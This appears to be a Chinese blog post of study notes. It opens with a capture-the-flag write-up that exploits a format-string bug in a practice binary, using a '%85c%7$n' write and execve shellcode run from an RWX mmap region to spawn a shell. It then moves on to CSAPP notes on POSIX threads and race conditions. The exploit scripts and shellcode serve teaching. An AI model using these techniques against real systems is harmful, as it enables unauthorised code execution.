unsigned __int64 sub_400BB9()
{
int v1; // [rsp+4h] [rbp-7Ch] BYREF
__int64 v2; // [rsp+8h] [rbp-78h] BYREF
char format[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v4; // [rsp+78h] [rbp-8h]

v4 = __readfsqword(0x28u);//从fs段偏移0x28=40字节读取一个四字
v2 = 0LL;
puts("You travel a short distance east.That's odd, anyone disappear suddenly");
puts(", what happend?! You just travel , and find another hole");
puts("You recall, a big black hole will suckk you into it! Know what should you do?");
puts("go into there(1), or leave(0)?:");
_isoc99_scanf("%d", &v1);
if ( v1 == 1 )
{
puts("A voice heard in your mind");
puts("'Give me an address'");
_isoc99_scanf("%ld", &v2);
puts("And, you wish is:");
_isoc99_scanf("%s", format);
puts("Your wish is");
printf(format); //此处存在格式化字符串漏洞
puts("I hear it, I hear it....");
}
return __readfsqword(0x28u) ^ v4;
}

存在格式化字符串漏洞,有可能要利用,联系后文可知,此处要使用printf格式化字符串漏洞,将主函数中

1
2
*v4 = 68;
v4[1] = 85;

它俩给溢出修改成相同的值

前面主函数中还有

1
2
printf("secret[0] is %x\n", v4);					//&v4的16进制表示
printf("secret[1] is %x\n", v4 + 1);

将v4和v4[1]的地址直接白给了

考虑如何构造这个格式化字符串漏洞攻击

注意到

1
2
puts("'Give me an address'");				
_isoc99_scanf("%ld", &v2);

这里输入了一个长整数v2,也是放在栈上的,我们可以把v4的地址输入v2,然后溢出改变之

也可以不使用这里的v2,直接在格式化字符串中完成

首先要找出printf(s)打印时,v2在栈中,是第几个格式化字符串参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

sh=process('./string')

sh.recvuntil("What should your character's name be:")

sh.sendline('Vader')

sh.recvuntil('So, where you will go?east or up?:')

sh.sendline('east')

sh.recvuntil('go into there(1), or leave(0)?:')

sh.sendline('1')

sh.recvuntil("'Give me an address'")

sh.sendline('9999')#这里使用9999,其16进制值为0x270f,待会儿方便寻找

# sh.interactive()

sh.recvuntil('And, you wish is:')

sh.sendline('AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p')//AAAAAAAA八个字符正好在栈上占一个对齐单元

sh.interactive()

运行结果

1
2
Your wish is
AAAAAAAA-0x7f6645ea9743-(nil)-0x7f6645dc8603-0xd-0xffffffffffffff88-0x100000000-0x270f-0x4141414141414141-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x70252d70252d70I hear it, I hear it....
第n个格式化参数 不是格式化参数 1 2 3 4 5 6 7 8
打印内容 AAAAAAAA 0x7f6645ea9743 (nil) 0x7f6645dc8603 0xd 0xffffffffffffff88 0x100000000 0x270f 0x4141414141414141
意义 9999,刚才输入的v2 格式化字符串本身作为一个普通字符串的起始位置

可以判断,输入的v2将会被作为第7个格式化字符串参数

然后我们在前面的交互过程中获取到v4的地址,在give me an address之后输入,作为第七个格式化字符串参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

sh=process('./string')

sh.recvuntil('secret[0] is ')

v4_addr = sh.recvuntil(b'\n', drop=True)

v4_addr = int(v4_addr, 16)

print(hex(v4_addr))

sh.recvuntil("What should your character's name be:".encode())

sh.sendline('Vader'.encode())

sh.recvuntil('So, where you will go?east or up?:'.encode())

sh.sendline('east'.encode())

sh.recvuntil('go into there(1), or leave(0)?:'.encode())

sh.sendline('1'.encode())

sh.recvuntil("'Give me an address'".encode())

sh.sendline(str(v4_addr))

sh.recvuntil('And, you wish is:'.encode())

sh.sendline('AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'.encode())

sh.interactive()

1
2
3
4
0x1ccb2a0
....
Your wish is
AAAAAAAA-0x7f5c06c84743-(nil)-0x7f5c06ba3603-0xd-0xffffffffffffff88-0x100000000-0x1ccb2a0-0x4141414141414141-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x70252d70252d70I hear it, I hear it....

现在v4的地址放好了,下面开始构造溢出

1
2
*v4 = 68;
v4[1] = 85;

因此我们应当将*v4修改为85,

1
payload = '%85c%7$n'

此时执行exp.py得到

1
Wizard: I will help you! USE YOU SPELL 

我们成功召唤了巫师

sub_400CA6((_DWORD *)a1)

a1是sub_400D72的参数,a1的历史沿革:

1
2
3
4
5
6
7
_DWORD *v4; // [rsp+18h] [rbp-78h]//双字指针类型,int*
v4 = malloc(8uLL);
*v4 = 68; //v4[0]=68
v4[1] = 85; //v4[1]=85

main->sub_400D72((__int64)v4)->sub_400CA6((_DWORD *)a1)
main中v4在堆上开了8字节空间分成两个双字,v4[0]=68,v4[1]=85,然后转化为一个四字qword作为参数进行值传送,然后在sub_400CA6中以双字指针形式进行引用传递
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
void *v1; // rsi
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
puts("Dragon say: HaHa! you were supposed to have a normal");
puts("RPG game, but I have changed it! you have no weapon and ");
puts("skill! you could not defeat me !");
puts("That's sound terrible! you meet final boss!but you level is ONE!");
if ( *a1 == a1[1] ) //当a1[0]==a1[1]时就有巫师出手相助,否则嗝屁
{
puts("Wizard: I will help you! USE YOU SPELL");
v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);//没有和文件描述符关联,则不把任何文件映射到进程的虚拟地址空间
read(0, v1, 0x100uLL); //从标准输入0即键盘读取至多0x100个字符,到v1缓冲区
((void (__fastcall *)(_QWORD))v1)(0LL); //一个函数指针,但是v1明明是一个虚拟地址空间的指针,强行作为函数指针
}
return __readfsqword(0x28u) ^ v3;
}

mmap

1
void *mmap(void *start , size_t length, int prot, int flags, int fd, off_t offset);
image-20220518084118644

mmap是一种内存映射文件的方法,即将一个文件或者其它对象映射到进程的地址空间,实现文件磁盘地址和进程虚拟地址空间中一段虚拟地址的一一对映关系。实现这样的映射关系后,进程就可以采用指针的方式读写操作这一段内存,而系统会自动回写脏页面到对应的文件磁盘上,即完成了对文件的操作而不必再调用read,write等系统调用函数。

认真分析mmap:是什么 为什么 怎么用 - 胡潇 - 博客园 (cnblogs.com)

在本题中mmap要求内核创建一个0x1000大小的空间,

prot=7=001|010|100即该空间具有可读写执行的权限,有可能要写入shellcode并在此处执行

由于程序本身开启了NX保护即堆栈不可执行,

因此这里程序没有直接在栈上开缓冲区,而是故意使用了mmap新开了空间,并且赋予该空间唱,跳,rap,篮球读,写,执行的权限,

已经在疯狂暗示ret2shellcode了

只需要写入shellcode

1
2
3
4
5
6
7
8
9
context(os='linux',arch='amd64')#此句必须,不写的话无法获取shell

sh.recvuntil('Wizard: I will help you! USE YOU SPELL'.encode())

shellcode =asm(shellcraft.sh())

sh.sendline(shellcode)

sh.interactive()

然后一个函数指针就会来执行shellcode

执行之后

1
2
3
4
5
6
7
8
9
10
11
12
[*] Switching to interactive mode

$ ls
bin
dev
flag
lib
lib32
lib64
string
$ cat flag
cyberpeace{421c7c91f8fbfb8755cced825fc617ab}

context(os='linux', arch='amd64')

设置pwntools环境,不同的操作系统架构会有不同的汇编指令

由于前面我们check时已经了解到string是一个amd64架构,linux操作系统的程序,因此需要设置一下"上下文"context

1
2
3
4
5
6
7
8
9
10
from pwn import *

shellcode = shellcraft.sh()//默认环境的shellcode
print(shellcode)

print('..........................')
context(os='linux',arch='amd64')
shellcode = shellcraft.sh()
print(shellcode)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/string]    
└─# python3 shell.py
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80

..........................
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall

两个shellcode是不一样的

shellcode

关于linux amd64上的shellcode:

它干了啥呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* execve(path='/bin///sh', argv=['sh'], envp=0) */        
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall

一开始

1
2
3
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax

压栈的16进制数转化为ASCII码为

1
hs///nib/

这是小端存储的,翻译成人话是

1
/bin///sh

然后

1
mov rdi, rsp

把栈顶指针交给rdi保存,最后还要还回来

然后两条蜜汁语句

1
2
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101

把0x1010101先和0x6873异或一下,然后再和0x1010101异或,这部相当于直接来0x6873吗?

翻译成ASCII码是hs,这是小端存储的,翻译成人话就是sh

然后

1
2
xor esi, esi /* 0 */
push rsi /* null terminate */

将0压栈

然后又是蜜汁操作

1
2
3
push 8
pop rsi
add rsi, rsp

8先压栈然后退给rsi,然后rsp也加到rsi上,rsi=rsp+8

然后

1
2
3
4
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */

rsi压栈然后获取rsp栈顶指针作为参数,

edx归0作为第三个参数

1
2
push SYS_execve /* 0x3b */
pop rax

系统调用号约定用rax寄存器传递

1
syscall

陷阱,系统调用

asm(shellcode)

将汇编指令转化为机器码

1
2
3
4
from pwn import *
context(os='linux',arch='amd64')
shellcode = shellcraft.sh()
print(asm(shellcode))
1
b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'

实际上是16进制表示的二进制码

总结

关键点有两个

一是通过某些手段,修改main中

1
2
3
v4 = malloc(8uLL);
*v4 = 68;
v4[1] = 85;

让v4的高低两个双字数值相等

诚如是则sub_400CA6if ( *a1 == a1[1] )成立,下面就可以考虑向mmap创建的虚拟地址空间中写入shellcode

二是写入shellcode之后,一个强行函数指针就会执行该shellcode区域

CSAPP-chapter12 线程并发

线程模型

引入线程概念之后,进程的职能只剩下组织资源.线程负责程序的执行

同一个进程的线程之间有共享也有私有资源

线程私有资源:

1.线程ID,tid

2.线程栈及其栈顶指针

3.程序计数器PC,rip

4.程序状态字PSW,flags

5.通用目的寄存器

上述五个合起来叫做 线程上下文

线程共享资源

进程用户虚拟地址空间中除了线程栈的其他部分

1.堆

2.只读代码段

3.全局变量区,.data,.bss

4.共享库

5.打开的文件

实际上同一个进程的各个线程栈之间不设防,即可以通过全局变量指针等方法,使得一个线程可以访问修改另一个线程的栈空间

线程的特点

每个进程执行伊始都是单一线程的,即主线程

从主线程创建的其他线程或者其他线程创建的线程都是对等线程

即一个进程的所有线程都是对等线程.一个进程的线程之间没有父子关系一说.所有线程组成一个线程池.任何一个线程都可以杀死任何一个对等线程.

POSIX线程

POSIX:可移植操作系统接口

线程概念落地实现,后面的实验都基于POSIX线程

源代码可以去看glibc库

在使用POSIX线程库函数时,需要动态链接libpthread.so库,因为gcc不会自动链接该库

比如gcc main.c -lpthread -o main

线程例程

线程是程序的一次执行,更准确的说法是函数的一次执行

线程的代码和局部数据被封装在一个函数中,如果只是从main函数中像以前一样调用改函数,则该函数就是一个普通函数.如果在main函数中创建一个新线程,让该新线程去执行该函数,则该函数此时就是"线程例程"

线程的使用方法与进程大不相同,多进程时,fork之后立刻产生新进程,用起来总是感觉别扭,区分不同的进程甚至需要在进程内部使用getpid等函数获得pid然后进行条件判断.

线程的使用是基于函数的,让一个线程去执行一个函数,使用更加自然.

线程句柄pthread_t

glibc-2.9\nptl\sysdeps\unix\sysv\linux\alpha\bits\pthreadtypes.h

1
typedef unsigned long int pthread_t;

线程标识符,本质为无符号长整形unsigned long

pthread_t tid;用于保存线程tid

获取当前线程id,pthread_self

main.c

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <pthread.h>
#include <stdio.h>
void func(){
pthread_t tid=pthread_self();
printf("in func,tid=%ld\n",tid);
}

int main(){
pthread_t tid=pthread_self();
printf("in main,tid=%ld\n",tid);
func();
return 0;
}
1
2
3
4
5
6
7
┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/pthread]
└─# gcc main.c -o main

┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/pthread]
└─# ./main
in main,tid=139945163630400
in func,tid=139945163630400

每次运行,tid都是不同的数值,但是mainfunc两个函数中打印的tid都是相同的

因为func不是新线程执行的,它仍然是main线程执行的.

创建线程pthread_create

pthread.h

1
2
3
4
5
6
7
8
/* Create a new thread, starting with execution of START-ROUTINE
getting passed ARG. Creation attributed come from ATTR. The new
handle is stored in *NEWTHREAD. */
extern int pthread_create ( pthread_t *__restrict __newthread,
__const pthread_attr_t *__restrict __attr,
void *(*__start_routine) (void *),
void *__restrict __arg) //到此函数参数表已经结束,后面是Function Attributes修饰
__THROW __nonnull ((1, 3));

创建一个新线程,从START_ROUTINE函数,带着ARG参数 开始执行.

线程函数的参数只能有一个,是一个

以参数ATTR为线程属性

新的线程句柄以参数NEWTHREAD返回

如果创建新线程成功则函数返回0,否则返回数字代表错误原因

关于参数的__restrict修饰符

__restrict

Like the __declspec ( restrict ) modifier, the __restrict keyword (two leading underscores '_') indicates that a symbol isn't aliased in the current scope

类似于__declspec修饰符,__restrict关键字(两个下划线作为前缀),指明本符号在当前作用域内没有别名

C/C++关键字之restrict - 知乎 (zhihu.com)

restrict关键字用于修饰指针(C99标准)。

通过加上restrict关键字,编程者可提示编译器:在该指针的生命周期内,其指向的对象不会被别的指针所引用

关于函数属性的__nonull修饰符Function Attributes - Using the GNU Compiler Collection (GCC)

1
nonnull (`arg-index`, ...)

The nonnull attribute specifies that some function parameters should be non-null pointers. For instance, the declaration:

nonnull 属性表明,一些函数参数应该是非空指针.比如:

1
2
3
4
extern void *
my_memcpy (void *dest, const void *src, size_t len)
__attribute__((nonnull (1, 2)));

causes the compiler to check that, in calls to my_memcpy, arguments dest and src are non-null. If the compiler determines that a null pointer is passed in an argument slot marked as non-null, and the -Wnonnull option is enabled, a warning is issued. The compiler may also choose to make optimizations based on the knowledge that certain function arguments will not be null.

__attribute__((nonnull (1, 2)))将会让编译器检查,对于函数my_memcpy,第一个参数dest和第二个参数src应该是非空指针.

如果编译器发现一个被标记为非空的参数实际上传了一个空指针,并且-Wnonnull 编译选项开启,那么编译器将会警告.

编译器还可能根据参数被修饰为非空进行一些优化

If no argument index list is given to the nonnull attribute, all pointer arguments are marked as non-null.

如果没有给nonnull属性指明参数下标表,那么所有函数参数都将被标记为非空.

main.c

1
2
3
4
5
6
#include <stddef.h>
void __attribute__((nonnull)) func(char *s){}
int main(){
func(NULL); //传递空指针作为参数
return 0;
}
1
2
3
4
5
6
7
8
┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/pthread]
└─# gcc main.c -Wall -o main #-Wall开启所有警告
main.c: In function ‘main’:
main.c:4:5: warning: argument 1 null where non-null expected [-Wnonnull]
4 | func(NULL);
| ^~~~
main.c:2:31: note: in a call to function ‘func’ declared ‘nonnull’
2 | void __attribute__((nonnull)) func(char *s){}

编译警告func的参数应该非空

关于函数属性__THROW修饰符

1
#define __THROW __attribute__ ((__nothrow__ __LEAF))
1
nothrow

The nothrow attribute is used to inform the compiler that a function cannot throw an exception. For example, most functions in the standard C library can be guaranteed not to throw an exception with the notable exceptions of qsort and bsearch that take function pointer arguments. The nothrow attribute is not implemented in GCC versions earlier than 3.3.

nothrow属性用来通知编译器,函数不会抛出异常

比如,C标准库中的大多数函数都保证不会抛出qsort和bsearch使用函数指针作为参数的错误;

在GCC3.3之前没有该属性

1
leaf

Calls to external functions with this attribute must return to the current compilation unit only by return or by exception handling. In particular, leaf functions are not allowed to call callback function passed to it from the current compilation unit or directly call functions exported by the unit or longjmp into the unit. Leaf function might still call functions from other compilation units and thus they are not necessarily leaf in the sense that they contain no function calls at all.

The attribute is intended for library functions to improve dataflow analysis. The compiler takes the hint that any data not escaping the current compilation unit can not be used or modified by the leaf function. For example, the sin function is a leaf function, but qsort is not.

Note that leaf functions might invoke signals and signal handlers might be defined in the current compilation unit and use static variables. The only compliant way to write such a signal handler is to declare such variables volatile.

The attribute has no effect on functions defined within the current compilation unit. This is to allow easy merging of multiple compilation units into one, for example, by using the link time optimization. For this reason the attribute is not allowed on types to annotate indirect calls.

总之表示声明为leaf的函数不会调用其他函数

综上,pthread_create函数要求,第一个参数tid,第三个参数,例程函数指针非空.四个参数指针指向的内容在本线程执行过程中不能被其他线程引用.pthread_create函数不会抛出异常,pthread_create函数只会调用例程函数,不会调用其他函数(至于例程函数会不会调用其他函数我不管)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <pthread.h>
#include <stdio.h>
void *func(){
pthread_t tid=pthread_self();
printf("in func,tid=%ld\n",tid);
return NULL;//return NULL之后本线程结束
}

int main(){
pthread_t tid1=pthread_self();
printf("in main,tid1=%ld\n",tid1);
pthread_t tid2;
int status=pthread_create(&tid2,NULL,func,NULL);
printf("in main,tid2=%ld\n",tid2);
pthread_join(tid2,NULL);//主线程等待对等线程结束之后才结束

return 0;
}
1
2
3
4
5
6
7
8
┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/pthread]
└─# gcc main.c -o main -lpthread

┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/pthread]
└─# ./main
in main,tid1=140685510317888
in main,tid2=140685510313536
in func,tid=140685510313536

func和main函数所在的线程id确实不同了

终止线程pthread_exit

线程的终止方式有两种: 一是顶层线程例程return,隐式终止

"顶层线程例程"的意思是,

线程例程是一个函数,该函数可以调用其他函数,这些被调用的函数也属于本线程,但是最高层的那个函数(也就是pthread_create时指定的函数)返回时才算线程的结束

二是显示使用pthread_exit函数结束

如果main函数所在的主线程使用pthread_exit,则主线程会等待所有对等线程终止之后才会终止主线程和整个进程

线程函数的返回值怎么让其他线程知道呢?

比如main线程创建了一个对等线程去执行func函数,假设func函数有返回值,怎么让main知道这个返回值呢?

使用pthread_exit函数解决

1
2
3
4
5
/* Terminate calling thread.

The registered cleanup handlers are called via exception handling
so we cannot mark this function with __THROW.*/
extern void pthread_exit (void *__retval) __attribute__ ((__noreturn__));

终止线程

清理程序以异常处理进行,因此我们不能将该函数标记为__THROW

返回值通过指针参数void *__retval传递

杀死对等线程pthread_cancel

1
2
/* Cancel THREAD immediately or at the next possibility.  */
extern int pthread_cancel (pthread_t __th);

CSAPP:马上终止线程"或者下一个可能的时候"?没使用过该函数

main.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <pthread.h>
#include <stdio.h>

void *func(void *times){
for(int i=0;i<*((long*)times);++i){
printf("%d ",i);
}
}

int main(){
pthread_t tid;
long times=1000;
int status=pthread_create(&tid,NULL,func,&times);
for(int i=0;i<10;++i){

}
pthread_cancel(tid);
return 0;
}

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿Executor)-[/mnt/c/Users/86135/desktop/pthread]
└─$ gcc main.c -O0 -o main -lpthread

┌──(kali㉿Executor)-[/mnt/c/Users/86135/desktop/pthread]
└─$ ./main

┌──(kali㉿Executor)-[/mnt/c/Users/86135/desktop/pthread]
└─$ ./main

┌──(kali㉿Executor)-[/mnt/c/Users/86135/desktop/pthread]
└─$ ./main
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167

前两次运行没等对等线程开始执行,main线程就将其杀掉了

第三次对等线程执行到i=167左右时,main线程执行到pthread_cancel(tid)将对等线程杀掉了

杀死全部对等进程exit

如果有一个对等线程调用exit函数,则立刻杀死所有对等线程并终止进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>

void *func(void *times){
printf("in func,tid=%ld",pthread_self());
exit(0);
}

int main(){
pthread_t tid;
long times=100;
int status=pthread_create(&tid,NULL,func,&times);
printf("thread %ld created\n",tid);
for(int i=0;i<10000000;++i){//空转浪费时间
}
printf("main exit\n");


return 0;
}
1
2
3
4
┌──(kali㉿Executor)-[/mnt/c/Users/86135/desktop/pthread]
└─$ ./main
thread 140558930863680 created
in func,tid=140558930863680

由于对等线程提前执行exit,此时主线程还没有来得及打印printf("main exit\n");进程就结束了

回收已终止线程资源pthread_join

1
2
3
4
5
6
7
/* Make calling thread wait for termination of the thread TH.  The
exit status of the thread is stored in *THREAD_RETURN, if THREAD_RETURN
is not NULL.

This function is a cancellation point and therefore not marked with
__THROW. */
extern int pthread_join (pthread_t __th, void **__thread_return);

使调用线程等待TH线程的结束

如果指定了__thread_return参数并且不为空,则使用_thread_return参数承接TH线程的退出状态

该函数是一个取消点,因此不用__THROW标记

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <pthread.h>
#include <stdio.h>

void *func(void *times){
for(int i=0;i<*((long*)times);++i){//空转消耗时间
}
printf("in func,tid=%ld\n",pthread_self());
}

int main(){
pthread_t tid;
long times=100;
int status=pthread_create(&tid,NULL,func,&times);
printf("thread %ld created\n",tid);
pthread_join(tid,NULL);//此时主线程等待对等线程
printf("thread %ld joined\n",tid);

status=pthread_create(&tid,NULL,func,&times);
printf("thread %ld created\n",tid);
printf("main exit");//主函数不再等待对等线程

return 0;
}
1
2
3
4
5
6
7
┌──(kali㉿Executor)-[/mnt/c/Users/86135/desktop/pthread]
└─$ ./main
thread 140127873893952 created
in func,tid=140127873893952
thread 140127873893952 joined
thread 140127873893952 created
main exit

pthread_join(tid,NULL)处,主线程会等待tid线程结束然后继续执行

后来又创建了线程但是没有等待它结束,主线程率先结束,相当于调用了exit函数,直接结束了所有对等线程,因此后来的对等线程没有执行func中的printf

分离线程pthread_detach

一个线程在创建之后,其相对于对等线程

1.可结合的(joinable)

2.分离的(detached)

注意两种状态的叫法

一个是"可"结合的,而不是说"结合的",因为结合的意思是被对等进程使用pthread_join回收掉了

"分离的"意思是已经分离,原来的对等线程无法管理它

1
2
3
4
5
/* Indicate that the thread TH is never to be joined with PTHREAD_JOIN.
The resources of TH will therefore be freed immediately when it
terminates, instead of waiting for another thread to perform PTHREAD_JOIN
on it. */
extern int pthread_detach (pthread_t __th) __THROW;

pthread_detach函数表明,TH线程将永远不会"加入"调用线程

因此当TH线程结束时,其资源将会被立刻回收,而不必再等待被对等线程调用pthread_join回收

初始化线程pthread_once

1
2
3
4
5
6
7
8
9
10
/* Guarantee that the initialization function INIT_ROUTINE will be called
only once, even if pthread_once is executed several times with the
same ONCE_CONTROL argument. ONCE_CONTROL must point to a static or
extern variable initialized to PTHREAD_ONCE_INIT.

The initialization functions might throw exception which is why
this function is not marked with __THROW. */
extern int pthread_once (pthread_once_t *__once_control,
void (*__init_routine) (void)) __nonnull ((1, 2));

初始化线程例程的相关状态

具体作用目前未知

单处理器机器上多线程同步问题

变量在内存中的位置

变量类型 共享情况
全局变量或者全局位置的静态变量 共享
线程函数内静态变量 共享
线程函数内的普通局部变量 不共享
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
int global=10;

void *func(void *){
int local_in_func=20;
static int static_in_func=30;
printf("in func,tid=%ld,&global=%p,&local_in_func=%p,&static_in_func=%p\n",pthread_self(),&global,&local_in_func,&static_in_func);
for(int i=0;i<1000000;++i){
//空转耗时
}
printf("tid=%ld exit\n",pthread_self());
return NULL;
}
int main(){
pthread_t tid1,tid2;
printf("in main,tid=%ld,&global=%p\n",pthread_self(),&global);
pthread_create(&tid1,NULL,func,NULL);
pthread_create(&tid2,NULL,func,NULL);
pthread_join(tid1,NULL);
pthread_join(tid2,NULL);

}
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿Executor)-[/mnt/c/Users/86135/desktop/pthread]
└─$ gcc -O0 main.c -o main -lpthread

┌──(kali㉿Executor)-[/mnt/c/Users/86135/desktop/pthread]
└─$ ./main
in main,tid=140195300874048,&global=0x558b84485048
in func,tid=140195300869696,&global=0x558b84485048,&local_in_func=0x7f81c31b7e48,&static_in_func=0x558b8448504c
in func,tid=140195292476992,&global=0x558b84485048,&local_in_func=0x7f81c29b6e48,&static_in_func=0x558b8448504c
tid=140195300869696 exit
tid=140195292476992 exit

结果表明&global都是同一个地址,&static_in_func都是同一个地址,&local_in_func是每个线程各有一个地址

同步错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <pthread.h>
#include <stdlib.h>

#include <stdio.h>

volatile long cnt=0;//volatile修饰,避免将cnt放在寄存器中,编译器不要对本变量做优化
void *func(void *vargp){

long niters=*((long*)vargp);
for(long i=0;i<niters;++i){
cnt++;
}
return NULL;
}

int main(int argc,char **argv){
long niters;
pthread_t tid1,tid2;
if(argc!=2){
printf("expect a number as argument\n");
exit(0);
}
niters=atoi(argv[1]);
pthread_create(&tid1,NULL,func,&niters);
pthread_create(&tid2,NULL,func,&niters);
pthread_join(tid1,NULL);
pthread_join(tid2,NULL);
if(cnt!=(2*niters)){//检查此时cnt的值是否等于二倍的niters
printf("cnt=%ld,What happened?\n",cnt);
}
else{
printf("Nothing happened.\n");
}
return 0;
}

在单核ubuntu虚拟机上的运行结果

image-20220530223552070

指定命令行参数为1e8则期望的cnt应该被两个线程轮流增加直到2e8,但是实际上cnt=142026321或者153306108甚至两次执行结果都不一样

为什么会发生这种事情呢?

反汇编观察func函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
.text:080484B0                 assume cs:_text
.text:080484B0 ;org 80484B0h
.text:080484B0 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
;注意ds段寄存器指向.data全局变量节,cnt就在这里
...

.text:08048564 ; Attributes: bp-based frame
.text:08048564
.text:08048564 ; void *func(void *)
.text:08048564 public func
.text:08048564 func proc near ; DATA XREF: main+43↓o
.text:08048564 ; main+67↓o
.text:08048564
.text:08048564 var_8 = dword ptr -8
.text:08048564 var_4 = dword ptr -4
.text:08048564 arg_0 = dword ptr 8
.text:08048564
.text:08048564 push ebp
.text:08048565 mov ebp, esp
.text:08048567 sub esp, 10h
.text:0804856A mov eax, [ebp+arg_0] ; 参数vargp的地址放到eax寄存器
.text:0804856D mov eax, [eax] ; 参数vargp的值放到eax寄存器
.text:0804856F mov [ebp+var_4], eax ; vargp->var_4
.text:08048572 mov [ebp+var_8], 0 ; 0->var_8,可以猜测对应long i=0,循环变量
.text:08048579 jmp short loc_804858C ; "跳进循环"
.text:0804857B ; ---------------------------------------------------------------------------
.text:0804857B
.text:0804857B loc_804857B: ; CODE XREF: func+2E↓j
.text:0804857B mov eax, ds:cnt ; 三句话,让位于ds段的cnt加个1
.text:08048580 add eax, 1
.text:08048583 mov ds:cnt, eax
.text:08048588 add [ebp+var_8], 1 ; 循环变量加1
.text:0804858C
.text:0804858C loc_804858C: ; CODE XREF: func+15↑j
.text:0804858C mov eax, [ebp+var_8] ; 循环变量var_8值放到eax寄存器
.text:0804858F cmp eax, [ebp+var_4] ; 循环变量值与var_4中存放的vargp的值进行比较
.text:08048592 jl short loc_804857B ; 如果var_8<var_4即i<vargp则重复循环
.text:08048594 mov eax, 0
.text:08048599 leave
.text:0804859A retn
.text:0804859A func endp

注意这迷人的三句话让男人给我花了十八万

1
2
3
.text:0804857B                 mov     eax, ds:cnt     ; 三句话,让位于ds段的cnt加个1
.text:08048580 add eax, 1
.text:08048583 mov ds:cnt, eax

假设,现在cnt=10,

